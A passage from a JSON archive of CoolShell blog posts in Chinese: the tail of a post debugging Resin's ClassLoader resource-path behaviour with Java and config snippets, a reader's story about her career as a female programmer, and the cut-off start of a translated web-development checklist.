src=\"../wp-content/uploads/2011/12/resin01.png\" title=\"resin01\" width=\"547\"/></p>\n<p style=\"text-align: center;\">然后写到了如下图的b.txt中。代码中是这样实现的：File file = new File(Path.class.getResource(“/”).getPath()+”/b.txt”);本意是想在a.txt文件目录下入b.txt。结果却和料想的不一样。<br/>\n<img alt=\"\" class=\"aligncenter\" height=\"119\" src=\"../wp-content/uploads/2011/12/resin02.png\" width=\"430\"/></p>\n<p>请注意，区别还是丢掉了项目名称。</p>\n<p>写的比较乱，稍微总结下：</p>\n<p>程序中使用ClassLoader的两个方法：getResourceAsStream和getResource。但是事实证明在WEB应用的场景下却得到了不同的结果。大家别误会啊，看名字他们两个方法肯定不一样，这个我知道，但是getResourceAsStream总会获取指定路径下的文件吧，示例中的参数为”/a.txt”，正确读取“/D:/work/resin-3.0.23/webapps/EhCacheTestAnnotation/WEB-INF/classes/ ”下的a.txt，可是将文件写到getResource方法的getPath返回路径的b.txt文件。两个位置的差别在项目名称(EhCacheTestAnnotation)。</p>\n<p>这样我暂且得出一个结论：通过getResourceAsStream和getResource两个方法获取的路径是不同的。但是为什么呢？</p>\n<p>于是查看了ClassLoader的源码，贴出getResource和getResourceAsStream的源码。</p>\n<pre class=\"EnlighterJSRAW\">\npublic URL getResource(String name) {\n    URL url;\n    if (parent != null) {\n        url = parent.getResource(name);\n    } else {\n        url = getBootstrapResource(name);\n    }\n\n    if (url == null) {\n        url = findResource(name);\n    }\n    return url;\n}\n\npublic InputStream getResourceAsStream(String name) {\n    URL url = getResource(name);\n    try {\n        return url != null ? url.openStream() : null;\n    } catch (IOException e) {\n        return null;\n    }\n}</pre>\n<p>从代码中看，getResourceAsStream将获取URL委托给了getResource方法。天啊，这是怎么回事儿？由此我彻底迷茫了，百思不得其解。</p>\n<p>但是没有因此就放弃，继续回想了一遍整个过程：</p>\n<ol>\n<li>在main函数中，测试getResource与getResourceAsStream是完全相同的，正确的。</li>\n<li>将其部署到Resin下，导致了getResource与getResourceAsStream获取的路径不一致。</li>\n</ol>\n<p>一个闪光点，是不是与web容器有关啊，于是换成Tomcat6.0。OMG，“奇迹”出现了，真的是这样子啊，换成Tomcat就一样了啊！和预想的一致。</p>\n<p style=\"text-align: center;\">在Tomcat下运行结果如下图：<br/>\n<img alt=\"\" class=\"aligncenter\" height=\"107\" src=\"../wp-content/uploads/2011/12/resin03.png\" width=\"554\"/></p>\n<p>对，这就是我想要的。</p>\n<p>因此我对Resin产生了厌恶感，之前也因为在Resin下程序报错，在Tomcat下正常运行而纠结了好久。记得看《松本行弘的程序世界》中对C++中的多继承是这样评价的(大概意思)：多重继承带来的负面影响多数是由于使用不当造成的。是不是因为对Resin使用不得当才使得和Tomcat下得到不同的结果。</p>\n<p>最终，在查阅Resin配置文件resin.conf时候在&lt;host-default&gt;标签下发现了这样一段：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;class-loader&gt;\n&lt;compiling-loader path=\"webapps/WEB-INF/classes\"/&gt;\n&lt;library-loader path=\"webapps/WEB-INF/lib\"/&gt;\n&lt;/class-loader&gt;</pre>\n<p>其中的compiling-loader很可能与之有关，遂将其注释掉，一切正常。担心是错觉，于是将compiling-loader的path属性改成：webapps/WEB-INF/classes1，然后运行pathServlet，b.txt位置如下图：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"93\" src=\"../wp-content/uploads/2011/12/resin04.png\" width=\"483\"/></p>\n<p>确实与compiling-loader有关。</p>\n<h4>结论</h4>\n<p>终于通过将&lt;class-loader&gt;标签注释掉，同样可以在Resin中获取“预想”的路径。验证了的确是使用Resin的人出了问题。</p>\n<h4>疑问</h4>\n<div>\n<p>但是没有这样就结束，我继续对getResource的源码进行了跟进，由于能力有限，没有弄清楚getResource的原理。</p>\n<p>最终留下了两个疑问：</p>\n<p>1、如果追踪到getResource方法的最底层(也许是JVM层面)，它实现的原理是什么？</p>\n<p>2、为何Resin中&lt;class-loader&gt;的配置会对getResource产生影响，但是对getResourceAsStream毫无影响(getResourceAsStream可是将获取路径委托给getResource的啊)。还是这里我理解或者使用错误了？</p>\n<p>本来文章到这里就结束了，本来是想问问牛人的，但是这个问题引起了很多的好奇心，于是我又花了一两周做了下面的调查。</p>\n<h4>Resin中类加载器</h4>\n<p>在我了解的<span style=\"font-family: 'Times New Roman';\">ClassLoader</span><span>是在</span>com.caucho.loader包下，结构请看下图：<br/>\n<img alt=\"图1\" class=\"aligncenter\" height=\"810\" src=\"../wp-content/uploads/2011/12/resin05.png\" width=\"390\"/><br/>\n图1<br/>\n<a href=\"https://coolshell.cn/wp-content/uploads/2011/12/resin06.png\"><img alt=\"图2 （点击看大图）\" class=\"aligncenter\" height=\"354\" src=\"../wp-content/uploads/2011/12/resin06.png\" width=\"677\"/></a><br/>\n图2</p>\n<p>从上面两幅图中可以看出，图1是与Jdk有关联的，继承自java.net.URLClassLoader。DynamicClassLoader的注释是这样的：</p>\n<pre class=\"EnlighterJSRAW\">\n/**\n* Class\tloader which checks for changes in class files and automatically\n* picks up new jars.\n*\n* DynamicClassLoaders can be chained creating one virtual class loader.\n* From the perspective of the JDK, it's all one classloader.  Internally,\n* the class loader chain searches like a classpath.\n*/\n</pre>\n<p>EnvironmentClassLoader又继承了DynamicClassLoader<span>。</span></p>\n<p>图<span style=\"font-family: 'Times New Roman';\">2</span><span>应该是</span><span style=\"font-family: 'Times New Roman';\">Resin</span><span>本身的</span><span style=\"font-family: 'Times New Roman';\">ClassLoader</span><span>，其中</span><span style=\"font-family: 'Times New Roman';\">Loader</span><span>是一个抽象类，包含了各种子类类加载器。</span></p>\n<p>从两幅图中是看不出<span style=\"font-family: 'Times New Roman';\">Resin</span><span>自身的</span><span style=\"font-family: 'Times New Roman';\">Loader</span><span>体系与继承自</span><span style=\"font-family: 'Times New Roman';\">JVM</span><span>的类加载器存在关系，那是不是他们就不存在某种关联呢？其实不是这样子的。请看下面</span><span style=\"font-family: 'Times New Roman';\">DynamicClassLoader</span><span>源码的片段：</span></p>\n<pre class=\"EnlighterJSRAW\">\n// List of resource loaders\nprivate ArrayList _loaders = new ArrayList();\nprivate JarLoader _jarLoader;\nprivate PathLoader _pathLoader;\n</pre>\n<p>清楚了吧，这两个Loader<span>分支通过组合的方式协作。</span></p>\n<h4>类加载器顺序</h4>\n<p>既然<span style=\"font-family: 'Times New Roman';\">Resin</span><span>标准的</span><span style=\"font-family: 'Times New Roman';\">Loader</span><span>及其子类以组合的方式嵌入到</span><span style=\"font-family: 'Times New Roman';\">DynamicClassLoader</span><span>中，那么在加载一个“资源”时，</span><span style=\"font-family: 'Times New Roman';\">Loader</span><span>分支和</span><span style=\"font-family: 'Times New Roman';\">java.net.URLClassLoader</span><span>分支的先后顺序是什么样子的呢？</span></p>\n<p>首先使用下面这段代码，将类加载器名称打印到控制台：</p>\n<pre class=\"EnlighterJSRAW\">\nClassLoader loader = PathServlet.class.getClassLoader();\nwhile (loader != null) {\n    System.out.println(loader.toString());\n    loader = loader.getParent();\n}\n</pre>\n<p>输出的结果为：</p>\n<blockquote><p><em>EnvironmentClassLoader[web-app:http://localhost:8080/Test]</em></p>\n<p><em><em>EnvironmentClassLoader[web-app:http://localhost:8080]</em></em></p>\n<p><em>EnvironmentClassLoader[cluster ]</em></p>\n<p><em><em>EnvironmentClassLoader[]</em></em></p>\n<p><em>sun.misc.Launcher$AppClassLoader@cac268</em></p>\n<p><em>sun.misc.Launcher$ExtClassLoader@1a16869</em></p></blockquote>\n<p>额，没有任何一个Resin<span>的</span><span style=\"font-family: 'Courier New';\">Loader</span><span>被打印出来啊，对头，有就错了。下面就让我们看看</span><span style=\"font-family: 'Courier New';\">DynamicClassLoader</span><span>中</span><span style=\"font-family: 'Courier New';\">getResource</span><span>的源码来解答。</span></p>\n<pre class=\"EnlighterJSRAW\">\n/**\n* Gets the named resource\n*\n* @param name name of the resource\n*/\n\npublic URL getResource(String name)\n{\n    if (_resourceCache == null) {\n        long expireInterval = getDependencyCheckInterval();\n        _resourceCache = new TimedCache(256, expireInterval);\n    }\n\n    URL url = _resourceCache.get(name);\n    if (url == NULL_URL)\n        return null;\n    else if (url != null)\n        return url;\n\n    boolean isNormalJdkOrder = isNormalJdkOrder(name);\n\n    if (isNormalJdkOrder) {\n    url = getParentResource(name);\n    if (url != null)\n        return url;\n    }\n\n    ArrayList loaders = _loaders;\n    for (int i = 0; loaders != null &amp;&amp; i &lt; loaders.size(); i++) {\n        Loader loader = loaders.get(i);\n        url = loader.getResource(name);\n\n        if (url != null) {\n            _resourceCache.put(name, url);\n            return url;\n        }\n\n    }\n\n    if (! isNormalJdkOrder) {\n        url = getParentResource(name);\n        if (url != null)\n            return url;\n    }\n\n    _resourceCache.put(name, NULL_URL);\n    return null;\n}\n\n</pre>\n<p>代码不难懂，我画了一张流程图，不规范，凑合看下。<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-6286\" height=\"601\" src=\"../wp-content/uploads/2011/12/resin07.png\" title=\"resin07\" width=\"326\"/></p>\n<h4>总结</h4>\n<pre class=\"EnlighterJSRAW\">\nboolean isNormalJdkOrder = isNormalJdkOrder(name);\n</pre>\n<p>这行代码控制着Resin<span>类加载的顺序，如果是常规的类加载顺序</span><span style=\"font-family: 'Courier New';\">(</span><span>向上代理，原文：</span>Returns true if the class loader should use the normal order, i.e. looking at the parents first.)<span>，则先</span>url = getParentResource(name)，后遍历_loaders。否则是按照先遍历_loaders<span>再</span>url = getParentResource(name)向上代理。</p>\n<p>在我的调试经历中，一直都是先向上代理，后遍历_loaders<span>的顺序，未遇到第二种方式。</span></p>\n<p>文字对先向上代理，后遍历的顺序做点儿说明：</p>\n<ol>\n<li>首先使用“最上层”的<em>sun.misc.Launcher$ExtClassLoader@1a16869</em>加载name<span>资源，如果找到就返回</span><span style=\"font-family: 'Courier New';\">URL</span><span>否则返回</span><span style=\"font-family: 'Courier New';\">null</span></li>\n<li>程序返回到<em>sun.misc.Launcher$AppClassLoader@cac268</em>，首先判断父类加载器返回的<span style=\"font-family: 'Courier New';\">url</span><span>是否为</span><span style=\"font-family: 'Courier New';\">null</span><span>，如果不为</span><span style=\"font-family: 'Courier New';\">null</span><span>则返回</span><span style=\"font-family: 'Courier New';\">url</span><span>，返回</span><span style=\"font-family: 'Courier New';\">null</span><span>。</span></li>\n<li><span><em><em><em>EnvironmentClassLoader[]</em></em></em></span></li>\n<li>程序返回到<em>EnvironmentClassLoader[cluster ]</em>的getParentResource<span>，再返回到</span><span style=\"font-family: 'Courier New';\">getResource</span><span>，如果</span><span style=\"font-family: 'Courier New';\">url</span><span>不为</span><span style=\"font-family: 'Courier New';\">null</span><span>，则直接返回，否则遍历</span>ArrayList&lt;Loader&gt; loaders = _loaders;从各个loader<span>中加载</span><span style=\"font-family: 'Courier New';\">name</span><span>，如果加载成功，即不为</span><span style=\"font-family: 'Courier New';\">null</span><span>，则返回，否则继续遍历，直至遍历完成。</span></li>\n<li><em><em>EnvironmentClassLoader[web-app:http://localhost:8080]</em></em>同4</li>\n<li><em>EnvironmentClassLoader[web-app:http://localhost:8080/Test]</em>同4</li>\n</ol>\n<p>OK<span>，完事儿，后续还有，准备好好写几篇。</span></p>\n<p>本文同时发布于：</p>\n<ul>\n<li><a href=\"http://www.oschina.net/question/129471_34225\">http://www.oschina.net/question/129471_34225</a>。</li>\n<li><a href=\"http://www.oschina.net/question/129471_35231#AnchorAnswer143898\">http://www.oschina.net/question/129471_35231#AnchorAnswer143898</a></li>\n</ul>\n</div>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6335.html\"><img alt=\"Resin服务器getResource揭秘\" height=\"150\" src=\"../wp-content/uploads/2012/01/图片1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6335.html\">Resin服务器getResource揭秘</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6112.html\">由一个问题到 Resin ClassLoader 的学习</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-12-30 一个女程序员的故事.html",
    "content": "<html><body><p>因为有人在<a href=\"https://coolshell.cn/articles/6142.html/comment-page-3#comment-113607\" target=\"_blank\">酷壳里评论</a>里说我给一个女程序员的建议不靠谱，我不服，因为我的工作经历中的一些女程序员都很不错，比那些男程序员都强，所以，我在<a href=\"http://weibo.com/1401880315/xE597iX6J\" target=\"_blank\">新浪微博</a>和<a href=\"https://twitter.com/#!/haoel/status/151856699387547649\" target=\"_blank\">twitter</a>上征集女程序员的故事和想法，这两天来，我收到了好几封邮件，让我很感动。其中，有一个故事让我回味很久，在脑海里挥之不去，可能是因为她的经历和我很相似，她的想法和我很有共鸣。</p>\n<p>本来，我想通过收到的这些故事然后编辑成一篇关于女程序员的文章，但是我觉得这个故事已经足够好了，任何的编辑都是对这个故事的不尊重，所以，我原封不动，一字不改地把这个故事转到这里。我把一些我认为精彩的地方加了粗。</p>\n<p>当然，我还是会再写一篇关于女程序员的文章，酷壳2011年底的最后篇文章和2012年的第一篇文章都是给女程序员的，因为，我为你们骄傲！</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">从哪里说起呢，我的程序员之路。有些话只是自己心里想的很明白，还从没说过。希望你有耐心看完，因为我的故事不精彩，也算不上奋斗史。我的文笔和叙事能力也很差。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">高中报志愿的时候坚定的报了计算机技术及应用，当时对计算机的认识只是机房里的苹果机，和老师教的用basic 输出一个正方形之类的。 我当时觉得我对计算机一无所知，我想了解他，就选择了这个专业，当然当时程序员的收入也是可观的。 ：）</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">大学四年下来，我的成绩不好，基础也不好，没拿过奖学金。大学的课程很多不喜欢，我不知道为什么计算机系还要学高等物理，和马列毛邓。这是题外话。说实在的，很多课上的我一头雾水。毕业后找工作不满意，我直接去读了软件工程（考研的专业课成绩没到线）。两年制，一年上课，一年实习。我想给自己的履历上增加一些至少能给我面试机会的经历。（我仔细思考过我成绩不好的原因，心里因素是主要的，高中在重点中学，我不能接受自己不是尖子生的事实，总在想自己为什么这么差，以至于这样的心情影响了我很多年，一直到工作后的几年）</span></p>\n<p><span id=\"more-6312\"></span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\"><strong>实习的第一家公司是个私企，工作两周后他们不满意辞退了我，沮丧是当然的，我知道我的能力是有差距的。虽然他们没有任何培训，直接拉去干活，起码的业务流程也没给我讲，但是我真的发自内心感谢他们辞了我，让我认清了自己</strong>。其实当时干的就是一些perl 脚本和php的网页开发。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">实习的第二家也是私企，给运营商做项目。我参加的是一个工作流项目，用java开发。我当时的java技术仅限书本身的不怎么牢靠基础知识，至于怎么设计这个系统也没有一点概念，终于一个月后我决定退出了。<strong>经过这一个多月，我似乎知道了自己该从哪里开始了。就从java开始吧</strong>。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">经同学介绍，去了第三家实习公司，面试的经理对实习生要求不高，让我能有机会实习。做的是银行和证券公司的网站，我主要做前端jsp的页面，同时我也选修了学校请的一位Weblogic的工程师开设的J2EE的课程。总算开始入门了。公司的同事很帮助我，有耐心让我了解了系统后台的架构。后来我随几位去客户那里出差，周末和晚上加班，为了他们临时改的需求。同事说，你一个女生出差一点不发憷啊。其实我一点不觉得累。同组的team lead没事就鞭策我说，你就甘心写code么，不能总是做开发，该为以后想想。但是我当时想法是，我的视野当时有限，还不确定自己能做成什么样子。我在这家公司完成了毕业论文。然后毕业。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">毕业找工作，我没有留在实习的公司，我想多试试。找工作的经历不多，我去过联想面试，笔试过了，一面是HR面，题目现在大概还记得，如果有化学家，天文学家，医生，乞丐，孕妇，在一个荒岛上，你只能带走一个，你带走谁呢？分组讨论，得出一致的结论，也要说出自己的结论。 同组有清华的毕业生，真的很自信，她说要带走天文学家。我说，出于人道，我肯定带走孕妇。后来就没了消息。难道医生可以留下照顾孕妇么，还是HR以为我选孕妇是注重家庭的人，没有事业心呢，我觉得这题真的不能说明什么。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">之后面试了一家日资企业，一面是很多人一起面，我听了一圈之后，觉得自己有些把握，因为同组的人比我差，看来我运气挺好的。他们之中有本科生，有研究生，都是男生，就我一个女生。问的也挺基础，就是servlet如何工作，写没写过SP，其中有个人问，什么是SP，没人理他，我告诉他是store procedure。面试官是个部长。<strong>后来HR的人过来让我留下二面，说我一面打败了所有男士。</strong>说来惭愧，我真的是运气好，没碰到牛人。二面经理只问了些平常的问题，就过了，于是我来到这家工作。考虑的是，外企多少工作流程上比较规范，也见见日本人是怎么工作的，还有就是自己能力有限，欧美大公司估计是没戏的，我还是从力所能及的开始吧。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">日本人工作的风格大家应该有所耳闻，就是喜欢加班，我进公司的第一个项目是代码改造，把VB6.0d code重写为VB.net。 加班到凌晨是常事，另外一个就是team lead的风格是没事也不能早走，也得耗到半夜才行。开始做的真是一点技术含量都没有，都是日本人写好guide，告诉你什么改成什么，别问为什么，不能有异议，他们怎么说你怎么改。弄得我当时都不去思考这里的技术细节，这是我当时犯傻的表现。除了技术本身，还有很多需要学习的。后来陆续做了一些我喜欢的java的项目，用到了sping，hibernate，ibatis, struts, ant等等。还有一些日本人自己开发的框架。每个项目的业务也都不同。在这家工作了三年，我觉得这不是我要的，我的技术提高有限，做的事都是别人设计好，甚至告诉你code应该如何写，而且做事风格不是我想要的。 我想去欧美文化的公司试试。也想做通讯相关的。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">同学帮我投简历，我面试一家对欧美的外包企业，一面是本公司的人面，问了项目情况，说了说英语，我准备还算充分，过了，二面是公司的客户面，到公司和客户开电话会议面试，第一次和老美直接对话，我虽说有点紧张，但是还是专心听他的问题，听不清的就让他重复一遍，我现在记得的一个问题是如何写出高效的SQL。面完回家等通知。过了几天我收到了offer。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">客户是为运营商提供软硬件服务。我们做的是BOSS系统的一个模块。都是java api。 几乎用到了J2EE中定义的所有组件和java相关的框架。我在这家工作至今。技术从不熟悉到熟悉，业务逻辑从不熟悉到熟悉，都是在开发每个feature和改的defect中慢慢了解的，硕大的系统不允许我一口吃个胖子。<strong>只要脑子里绷根弦就每天都有进步</strong>。加班不是常事，但是也有紧张的时候。 有时候一个defect要跟踪成千上万行代码，你才知道哪里出了问题，这是需要耐心和细心的。给客户的客户做support的时候，<strong>经常被半夜的电话叫醒去看一个现场的问题，我不觉得累和烦，我觉得这是我价值的体现</strong>（当然这不会每天发生）。修复一个defect我会有一点小小的成就感，每天晚上回家方便的话也会看看邮箱，看看有没有紧急的事情。<strong>有的人认为你下班了就没必要再管工作邮箱了，但是我愿意这么做，我觉得这是我职业精神的一部分，也是工作态度</strong>。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">偶尔会帮着公司招聘毕业生，有时候会遇到什么简单问题都答不上来的人，我感觉就像看见当初刚毕业的我，临走，我会说一句，没关系，回去好好准备，看看基础知识。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">我曾经怀疑过自己是否适合做技术，总觉得自己不如男生，也总在问自己的路在哪。而且没有自信，曾经紧张到，有人看我打字，都紧张的手抖。到现在，我觉得做技术挺好，就像你说的，我清楚的认识自己，我不是技术大牛，就每天写着自己的code，了解业务，挺好，但是不代表我不上进。很多女同学现在都不做技术了，也不写code了，但是我还在做，甚至越来越喜欢，在中国有种普遍的想法是，作几年技术该转去做管理，否则认为你不成功，这是人云亦云的说法。我想我为什么不能一直做技术呢？虽然中国的大环境可能不适合你一直做技术，但是我愿意试试。我不愿意放弃多年来积攒的一点点优势。何况我现在工作上越来越得心应手，<strong>不久前，我收到客户的邀请，他们想让我transfer到美国或者加拿大成为他们的一员，我在等待漫长的人事流程，也有可能会pending。但是我无所谓，我现在自信，知道想要什么。一直做技术，怎么了，不行么？</strong></span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\"><strong>谈到男女程序员的问题，有些男人以技术强自居，而少了一点谦逊和工作的严谨。有些技术不强的，有些懒散，得过且过。都是我遇到过真实的人。同组的一个女生来了几个月就比一个来了一年多的男生上手快，这说明什么的，态度和努力是重要的。我更认同的是技术和男女无关，和个人有关，任何以偏概全都是片面的</strong>。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">同组的男同事们没有因为我是女性而轻视我，我很感谢他们，在一个team工作，技术是必要条件不是充分条件，合作，交流，态度，遵守流程，任何一个都缺少不了。<strong>如果我只是技术差点，那么我提高的空间是很大的。 多看看书，真的不难</strong>。虽然我可能离amazon或者是google这些企业的要求还有差距，但是那是我的方向<strong>。不过像baidu，腾讯这些流氓公司，给我多少钱也不去，女程序员也是有傲骨的</strong>，虽然也有可能他们看不上我的能力，但是，那又有什么所谓呢。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">如果你能看完我这如白开水的文字，很感谢，因为我写的实在太不好了，这些经历普通不过，也证明我是个普通的人，<strong>如果我高中的时候不那么在意自己是不是优秀生，就能放轻松，大学（也在想这些）会有个好成绩，没准我就能如愿的毕业就进欧美大企业，不过那样我可能也少了以上跌入谷底的经历和现在平和的心态，我想后者对我更有意义</strong>。</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #000000;\">不用署名，有的话，一个女程序员，哈哈。有错误处，见谅，中午休息，仓促的回顾了这些。技术本身心得有限，我就不班门弄斧了，还需努力。也请不要注我的微薄行号啦。另外我老公也是程序员，我和他能谈些技术和项目上的事情，我想是非女程序员感受不到的乐趣，哈哈哈。</span></p>\n<p>看到这里你还不想为她鼓掌吗？</p>\n<p>最后，请让我我再次征集——</p>\n<p>call 所有的女程序员，我想给你们写一篇blog，希望你们能和我分享你们的程序员的经历和技术心得。你是男程序员也没有问题，也欢迎分享你身边女程员的故事。 大家可以发邮件至：haoel(at)hotmail.com</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6312.html\">一个女程序员的故事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-12-7 Web开发中需要了解的东西.html",
    "content": "<html><body><p>在StackExchange上有人问了这样一个问题：<a href=\"http://programmers.stackexchange.com/questions/46716/what-should-every-programmer-know-about-web-development\" target=\"_blank\">What should every programmer know about web development?</a>（关于Web开发，什么是所有程序员需要知道的？）里面给出的答案非常不错，所以，我翻译转载过来。 顺便说一下，StackExchange真是非常好，大家可以对同一个答案做贡献和修订，看看这个问题的<a href=\"http://programmers.stackexchange.com/posts/46760/revisions\" target=\"_blank\">修订过程</a>你就知道了——专业的问答网站应该怎么去做。这就是我在这篇文章中也说过<a href=\"https://coolshell.cn/articles/5901.html\" target=\"_blank\" title=\"腾讯，竞争力 和 用户体验\">真正的用户体验是什么样的</a>。</p>\n<p>好了，下面是正文（我对原文做了一些批注，也许不对或有误导，请大家指正）</p>\n<p>下面的这些东西可能对于大多数人并不陌生，但是可能会有些东西你以前并没有看过，或是没有完全搞懂，甚至都没有听说过。（陈皓注：我相信当你看完这个列表后，你会觉得对于我国的Web开发有点弱了，还是那句话，表面上的东西永远是肤浅的）</p>\n<h4><strong>接口和用户体验</strong></h4>\n<ul>\n<li>小心浏览器的实现标准上的不一致，确信让你的网站能够适当地跨浏览器。至少，你的网站需要测试一下下面的浏览器：</li>\n<ul>\n<li>最新的 <a href=\"http://en.wikipedia.org/wiki/Gecko_%28layout_engine%29\" rel=\"nofollow\">Gecko</a> 引擎 (<a href=\"http://firefox.com/\" rel=\"nofollow\">Firefox</a>)，</li>\n<li>一个 Webkit 引擎 (<a href=\"http://www.apple.com/safari/\" 